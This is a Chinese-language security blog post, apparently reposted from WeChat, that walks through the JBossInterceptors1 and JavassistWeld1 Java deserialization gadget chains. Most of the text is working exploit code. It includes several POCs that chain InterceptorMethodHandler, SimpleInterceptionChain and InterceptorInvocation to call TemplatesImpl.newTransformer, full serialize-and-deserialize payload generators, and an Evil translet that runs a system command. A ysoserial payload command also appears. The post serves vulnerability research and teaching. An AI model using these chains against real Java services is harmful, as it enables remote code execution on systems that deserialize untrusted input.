JBossInterceptors1 & JavassistWeld1 链
- 前言
- 分析前置知识
- 调用栈分析
- 实例图 (分析成员属性)
- 链路分析
- org.jboss.interceptor.proxy.InterceptorInvocation$InterceptorMethodInvocation::invoke -> 危险方法 & 未实现 Serializable
- org.jboss.interceptor.proxy.SimpleInterceptionChain::invokeNextInterceptor -> 链式调用 & 未实现 Serializable
- org.jboss.interceptor.proxy.InterceptorMethodHandler -> 链路开头 & 链路末尾 & 实现 Serializable
- JavassistWeld1 链
- 本链说明
- POC
- Ending...
前言
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA,
jboss-interceptor-core:2.0.0.Final
, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA,
weld-core:1.1.33.Final
, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
两条 RCE 链, 需要引入的依赖比较多, 并且链路类与类之间的关系抽象化, 链路最终会调用到未实现Serializable
接口的类进行RCE
, 接下来看具体分析.
分析前置知识
调用栈分析
首先看一下在ysoserial
中最终Payload
长啥样:
实际上InterceptorMethodHandler
这个类就是整条链路的source点
以及sink点
, 为什么这么说呢?这里笔者使用ysoserial
进行生成一个poc
:
java -jar ysoserial-all.jar JBossInterceptors1 "calc" > D:/1.ser
随后本地准备如下代码进行运行并DEBUG
即可:
package com.heihu577;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
publicclassMain{
publicstaticvoidmain(String[] args)throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:/1.ser"));
objectInputStream.readObject();
}
}
如图:
实际上漏洞形成原因也就是因为这边调用了SimpleInterceptionChain::invokeNextInterceptor
方法, 如图:
这里我们就知道最终的调用点原来在InterceptorInvocation::invoke
方法中. 是任意对象.任意方法()
的一个经典案例.
实例图 (分析成员属性)
上述调用栈跟踪我们已经浅浅的知道了流程, 而由于漏洞本身就是由InterceptorInvocation
这个类发起的, 所以这里使用debug
的方式进行观察该类下的成员属性都放了一些什么值:
通过上图可以看到, 属性中的值都是由不同的类生成过来的, 他们之间的实例极其复杂. 这里不会手把手梳理这些类与类之间的关系, 后续只会说明构造 POC 的大致思路, 链路的 sink 点才是我们关注的.
链路分析
org.jboss.interceptor.proxy.InterceptorInvocation$InterceptorMethodInvocation::invoke -> 危险方法 & 未实现 Serializable
根据刚才的调用栈其实也看到了, 罪魁祸首实际上是org.jboss.interceptor.proxy.InterceptorInvocation$InterceptorMethodInvocation::invoke
, 我们可以看一下该成员内部类中的invoke
方法的具体实现:
需要注意的是该类并没有实现Serializable
接口, 但是为了便于理解, 我们会从源头开始构造 POC, 一步一步说明整体构造 POC 的思路.
通过这边的invoke
方法的定义我们可以知道的是, 只要传入进来的参数为NULL
, 那么就可以执行任意对象的任意方法.
而由于该成员内部类构造器的成员属性为默认
, 所以我们需要通过反射进行获取构造器. 而通过反射获取成员内部类的构造器有一个小坑点, 可以参考: https://mp.weixin.qq.com/s/1AlCr2RAUrOffN1dBcU6zw 来解决这个问题.
并且这边构造器第二个参数的method
并不是Java原生Method
, 而是一个MethodMetata
实例, 对于MethodMetadata
如何进行创建呢, 实际上可以通过DefaultMethodMetadata
类进行创建, 而DefaultMethodMetadata
又会引出更多的关系:
一边是基于InterceptionType
枚举类的Set
, 一边是使用MethodReference.of
来进行生成一个MethodReference
, 最终可以编写出如下本地 POC:
package com.heihu577;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.jboss.interceptor.builder.MethodReference;
import org.jboss.interceptor.proxy.InterceptorInvocation;
import org.jboss.interceptor.reader.DefaultMethodMetadata;
import org.jboss.interceptor.spi.metadata.MethodMetadata;
import org.jboss.interceptor.spi.model.InterceptionType;
import sun.misc.Unsafe;
import javax.interceptor.InvocationContext;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.Set;
publicclassPOC{
publicstaticvoidmain(String[] args)throws Exception {
// 准备 TemplatesImpl
TemplatesImpl templatesImpl = getTemplatesImpl();
// 准备 MethodMetadata
HashSet<Object> hsSet = new HashSet<>();
hsSet.add(InterceptionType.POST_ACTIVATE);
Constructor<DefaultMethodMetadata> defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
defaultMethodMetadataConstructor.setAccessible(true);
MethodMetadata defaultMethodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(hsSet,
MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
// 准备 InterceptorInvocation$InterceptorMethodInvocation
Class<?> interceptorMethodInvocation = Class.forName("org.jboss.interceptor.proxy.InterceptorInvocation$InterceptorMethodInvocation");
Constructor<?> interceptorMethodInvocationDeclaredConstructor = interceptorMethodInvocation.getDeclaredConstructor(InterceptorInvocation.class, Object.class, MethodMetadata.class);
interceptorMethodInvocationDeclaredConstructor.setAccessible(true);
InterceptorInvocation interceptorInvocationObj = (InterceptorInvocation) getObjectByUnsafe(InterceptorInvocation.class);
Object o = interceptorMethodInvocationDeclaredConstructor.newInstance(interceptorInvocationObj, templatesImpl, defaultMethodMetadata);
// 主动调用 invoke 方法
Method invokeMethod = o.getClass().getDeclaredMethod("invoke", InvocationContext.class);
invokeMethod.setAccessible(true);
invokeMethod.invoke(o, new Object[]{null});
}
// 通过 Unsafe 无视构造方法进行实例化
publicstatic Object getObjectByUnsafe(Class myclazz)throws Exception {
Class<?> clazz = Class.forName("sun.misc.Unsafe");
Field theUnsafe = clazz.getDeclaredField("theUnsafe"); // 因为 theUnsafe 使用 static 进行修饰, 在 static 代码块中进行初始化,
theUnsafe.setAccessible(true);
Unsafe o = (Unsafe) theUnsafe.get(null);
return o.allocateInstance(myclazz);
}
publicstatic TemplatesImpl getTemplatesImpl()throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
name.setAccessible(true);
bytecodes.setAccessible(true);
tfactory.setAccessible(true);
byte[][] myBytes = newbyte[1][];
myBytes[0] = Repository.lookupClass(Evil.class).getBytes(); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");
tfactory.set(templates, new TransformerFactoryImpl());
return templates;
}
}
运行即可弹出计算器.
org.jboss.interceptor.proxy.SimpleInterceptionChain::invokeNextInterceptor -> 链式调用 & 未实现 Serializable
根据之前DEBUG
的观察, 可以发现在下方进行调用了InterceptorInvocation$InterceptorMethodInvocation::invoke
方法, 如图:
而实际上SimpleInterceptionChain
这个类也没有实现Serializable
接口, 并且调用它的invokeNextInterceptor
方法可以调用到InterceptorInvocation$InterceptorMethodInvocation::invoke
危险方法中去, 只要能够调用到invokeNextInterceptor
并且不报错, 实际上就可以完成一次RCE, 当然如果想要调用不报错, 也要分析一下SimpleInterceptionChain
这个类的构造器:
这些属性之间的关系比较麻烦, 就不在文章中说明了, 可以编写如下 POC:
package com.heihu577;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.jboss.interceptor.builder.MethodReference;
import org.jboss.interceptor.proxy.InterceptorInvocation;
import org.jboss.interceptor.proxy.InterceptorInvocationContext;
import org.jboss.interceptor.proxy.SimpleInterceptionChain;
import org.jboss.interceptor.reader.DefaultMethodMetadata;
import org.jboss.interceptor.reader.SimpleInterceptorMetadata;
import org.jboss.interceptor.spi.metadata.MethodMetadata;
import org.jboss.interceptor.spi.model.InterceptionType;
import sun.misc.Unsafe;
import javax.interceptor.InvocationContext;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
publicclassPOC{
publicstaticvoidmain(String[] args)throws Throwable {
// 准备 TemplatesImpl
TemplatesImpl templatesImpl = getTemplatesImpl();
// 准备 MethodMetadata
HashSet<Object> hsSet = new HashSet<>();
hsSet.add(InterceptionType.POST_ACTIVATE);
Constructor<DefaultMethodMetadata> defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
defaultMethodMetadataConstructor.setAccessible(true);
Method newTransformer = TemplatesImpl.class.getMethod("newTransformer");
MethodMetadata defaultMethodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(hsSet,
MethodReference.of(newTransformer, true));
// 准备 InterceptorInvocation$InterceptorMethodInvocation
Class<?> interceptorMethodInvocationClazz = Class.forName("org.jboss.interceptor.proxy.InterceptorInvocation$InterceptorMethodInvocation");
Constructor<?> interceptorMethodInvocationDeclaredConstructor = interceptorMethodInvocationClazz.getDeclaredConstructor(InterceptorInvocation.class, Object.class, MethodMetadata.class);
interceptorMethodInvocationDeclaredConstructor.setAccessible(true);
// InterceptorInvocation interceptorInvocationObj = (InterceptorInvocation) getObjectByUnsafe(InterceptorInvocation.class);
InterceptorInvocation interceptorInvocationObj = new InterceptorInvocation(templatesImpl, new SimpleInterceptorMetadata(null, false, new HashMap<>()), InterceptionType.POST_ACTIVATE);
org.jboss.interceptor.proxy.InterceptorInvocation.InterceptorMethodInvocation interceptorMethodInvocation = (org.jboss.interceptor.proxy.InterceptorInvocation.InterceptorMethodInvocation) interceptorMethodInvocationDeclaredConstructor.newInstance(interceptorInvocationObj, templatesImpl, defaultMethodMetadata);
// // 主动调用 invoke 方法
// Method invokeMethod = o.getClass().getDeclaredMethod("invoke", InvocationContext.class);
// invokeMethod.setAccessible(true);
// invokeMethod.invoke(o, new Object[]{null});
Collection<InterceptorInvocation<?>> interceptorInvocationObjLst = new ArrayList<>();
interceptorInvocationObjLst.add(interceptorInvocationObj);
SimpleInterceptionChain simpleInterceptionChain = new SimpleInterceptionChain(interceptorInvocationObjLst, null, templatesImpl, newTransformer);
// 手动调用 invokeNextInterceptor 触发弹窗
simpleInterceptionChain.invokeNextInterceptor(new InterceptorInvocationContext(simpleInterceptionChain, templatesImpl, newTransformer, null));
}
// // 通过 Unsafe 无视构造方法进行实例化
// public static Object getObjectByUnsafe(Class myclazz) throws Exception {
// Class<?> clazz = Class.forName("sun.misc.Unsafe");
// Field theUnsafe = clazz.getDeclaredField("theUnsafe"); // 因为 theUnsafe 使用 static 进行修饰, 在 static 代码块中进行初始化,
// theUnsafe.setAccessible(true);
// Unsafe o = (Unsafe) theUnsafe.get(null);
// return o.allocateInstance(myclazz);
// }
publicstatic TemplatesImpl getTemplatesImpl()throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
name.setAccessible(true);
bytecodes.setAccessible(true);
tfactory.setAccessible(true);
byte[][] myBytes = newbyte[1][];
myBytes[0] = Repository.lookupClass(Evil.class).getBytes(); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");
tfactory.set(templates, new TransformerFactoryImpl());
return templates;
}
}
运行即可弹出计算器.
org.jboss.interceptor.proxy.InterceptorMethodHandler -> 链路开头 & 链路末尾 & 实现 Serializable
上面两个案例实际上都会在org.jboss.interceptor.proxy.InterceptorMethodHandler
类中满足某些分支的情况下进行主动调用SimpleInterceptionChain::invokeNextInterceptor
, 但是前提是需要清晰的划分我们应该定义哪些成员属性, 那些成员属性的实例化方式是什么, 变量与变量之间存在哪些联系, 绕过什么样的if分支才能走到最终的sink点
, 这才是最终要考虑的地方, 举个例子:
整个过程无意义且枯燥, 那么就不再仔细研究他们之间的关系了.
POC
给出如下POC:
package com.heihu577;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.jboss.interceptor.builder.BuildableInterceptionModel;
import org.jboss.interceptor.builder.InterceptionModelBuilder;
import org.jboss.interceptor.builder.MethodReference;
import org.jboss.interceptor.proxy.DefaultInvocationContextFactory;
import org.jboss.interceptor.proxy.DirectClassInterceptorInstantiator;
import org.jboss.interceptor.proxy.InterceptorMethodHandler;
import org.jboss.interceptor.reader.ClassMetadataInterceptorReference;
import org.jboss.interceptor.reader.DefaultMethodMetadata;
import org.jboss.interceptor.reader.ReflectiveClassMetadata;
import org.jboss.interceptor.reader.SimpleInterceptorMetadata;
import org.jboss.interceptor.spi.instance.InterceptorInstantiator;
import org.jboss.interceptor.spi.metadata.ClassMetadata;
import org.jboss.interceptor.spi.metadata.InterceptorReference;
import org.jboss.interceptor.spi.metadata.MethodMetadata;
import org.jboss.interceptor.spi.model.InterceptionModel;
import org.jboss.interceptor.spi.model.InterceptionType;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
publicclassUnserialPOC{
publicstaticvoidmain(String[] args)throws Exception {
TemplatesImpl evilObj = getTemplatesImpl();
Method evilMethod = evilObj.getClass().getMethod("newTransformer");
InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
Set<InterceptionType> s = new HashSet<>();
s.add(InterceptionType.POST_ACTIVATE); // 准备一个 Set, 内容为 InterceptionType.POST_ACTIVATE
DefaultMethodMetadata methodMetadata = getObjByReflection(DefaultMethodMetadata.class,
newClass[]{Set.class, MethodReference.class},
newObject[]{s, MethodReference.of(evilMethod, true)});
List list = new ArrayList();
list.add(methodMetadata);
Map<InterceptionType, List<MethodMetadata>> hashMap = new HashMap<>();
hashMap.put(InterceptionType.POST_ACTIVATE, list); // 准备一个 Map, Key 为 Set 中存在的内容
SimpleInterceptorMetadata simpleInterceptorMetadata =
new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
builder.interceptAll().with(simpleInterceptorMetadata);
InterceptionModel model = builder.build();
HashMap map = new HashMap();
map.put("heihu577", "heihu577");
DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {
public Object createFor(InterceptorReference paramInterceptorReference){
return evilObj;
}
};
InterceptorMethodHandler gadget = new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
new ObjectOutputStream(new FileOutputStream("D:/1.ser")).writeObject(gadget);
new ObjectInputStream(new FileInputStream("D:/1.ser")).readObject();
}
// 通过反射创建实例
publicstatic <T> T getObjByReflection(Class<T> clazz, Class[] args, Object[] argsValue)throws Exception {
Constructor declaredConstructor = clazz.getDeclaredConstructor(args);
declaredConstructor.setAccessible(true);
return (T) declaredConstructor.newInstance(argsValue);
}
publicstatic TemplatesImpl getTemplatesImpl()throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
name.setAccessible(true);
bytecodes.setAccessible(true);
tfactory.setAccessible(true);
byte[][] myBytes = newbyte[1][];
myBytes[0] = Repository.lookupClass(Evil.class).getBytes(); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");
tfactory.set(templates, new TransformerFactoryImpl());
return templates;
}
}
切记是 TemplatesImpl, 给出所加载的恶意类:
package com.heihu577;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
publicclassEvilextendsAbstractTranslet{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
thrownew RuntimeException(e);
}
}
@Override
publicvoidtransform(DOM document, SerializationHandler[] handlers)throws TransletException {}
@Override
publicvoidtransform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)throws TransletException {}
}
JavassistWeld1 链
本链说明
这一条链本质上与JBossIntereptors1
链相同, 只是其中一个依赖变了, 定义pom.xml
如下:
<dependencies>
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.0.GA</version>
</dependency>
<!-- <dependency>-->
<!-- <groupId>org.jboss.interceptor</groupId>-->
<!-- <artifactId>jboss-interceptor-core</artifactId>-->
<!-- <version>2.0.0.Final</version>-->
<!-- </dependency>-->
<dependency>
<groupId>org.jboss.weld</groupId>
<artifactId>weld-core</artifactId>
<version>1.1.33.Final</version>
</dependency>
<dependency>
<groupId>javax.enterprise</groupId>
<artifactId>cdi-api</artifactId>
<version>1.0-SP1</version>
</dependency>
<dependency>
<groupId>javax.interceptor</groupId>
<artifactId>javax.interceptor-api</artifactId>
<version>3.1</version>
</dependency>
<dependency>
<groupId>org.jboss.interceptor</groupId>
<artifactId>jboss-interceptor-spi</artifactId>
<version>2.0.0.Final</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>1.7.21</version>
</dependency>
</dependencies>
刷新一下Maven
即可看到我们之前的 POC 大面积爆红:
解决方法很简单, 只需要将import
语法都删掉, 然后通过 IDEA 重新引入一次就行, 最终引入状况:
POC
package com.heihu577;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.jboss.weld.interceptor.builder.InterceptionModelBuilder;
import org.jboss.weld.interceptor.builder.MethodReference;
import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory;
import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler;
import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference;
import org.jboss.weld.interceptor.reader.DefaultMethodMetadata;
import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata;
import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata;
import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator;
import org.jboss.weld.interceptor.spi.metadata.InterceptorReference;
import org.jboss.weld.interceptor.spi.metadata.MethodMetadata;
import org.jboss.weld.interceptor.spi.model.InterceptionModel;
import org.jboss.weld.interceptor.spi.model.InterceptionType;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
publicclassUnserialPOC{
publicstaticvoidmain(String[] args)throws Exception {
TemplatesImpl templatesImpl = getTemplatesImpl();
Method evilMethod = templatesImpl.getClass().getMethod("newTransformer");
InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
Set<InterceptionType> s = new HashSet<>();
s.add(InterceptionType.POST_ACTIVATE);
DefaultMethodMetadata methodMetadata = getObjByReflection(DefaultMethodMetadata.class,
newClass[]{Set.class, MethodReference.class},
newObject[]{s, MethodReference.of(evilMethod, true)});
List list = new ArrayList();
list.add(methodMetadata);
Map<InterceptionType, List<MethodMetadata>> hashMap = new HashMap<>();
hashMap.put(InterceptionType.POST_ACTIVATE, list);
SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
builder.interceptAll().with(simpleInterceptorMetadata);
InterceptionModel model = builder.build();
HashMap map = new HashMap();
map.put("heihu577", "heihu577");
DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {
@Override
public Object createFor(InterceptorReference interceptorReference){
return templatesImpl;
}
};
InterceptorMethodHandler evilObj = new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
new ObjectOutputStream(new FileOutputStream("D:/1.ser")).writeObject(evilObj);
new ObjectInputStream(new FileInputStream("D:/1.ser")).readObject();
}
// 通过反射获取成员属性
publicstatic Object getFieldValue(Object obj, String fieldName)throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
}
// 通过反射创建实例
publicstatic <T> T getObjByReflection(Class<T> clazz, Class[] args, Object[] argsValue)throws Exception {
Constructor declaredConstructor = clazz.getDeclaredConstructor(args);
declaredConstructor.setAccessible(true);
return (T) declaredConstructor.newInstance(argsValue);
}
publicstatic TemplatesImpl getTemplatesImpl()throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
name.setAccessible(true);
bytecodes.setAccessible(true);
tfactory.setAccessible(true);
byte[][] myBytes = newbyte[1][];
myBytes[0] = Repository.lookupClass(Evil.class).getBytes(); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");
tfactory.set(templates, new TransformerFactoryImpl());
return templates;
}
}
Ending...
原文始发于微信公众号(Heihu Share):Java 安全 | JBossInterceptors1 & JavassistWeld1 链
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论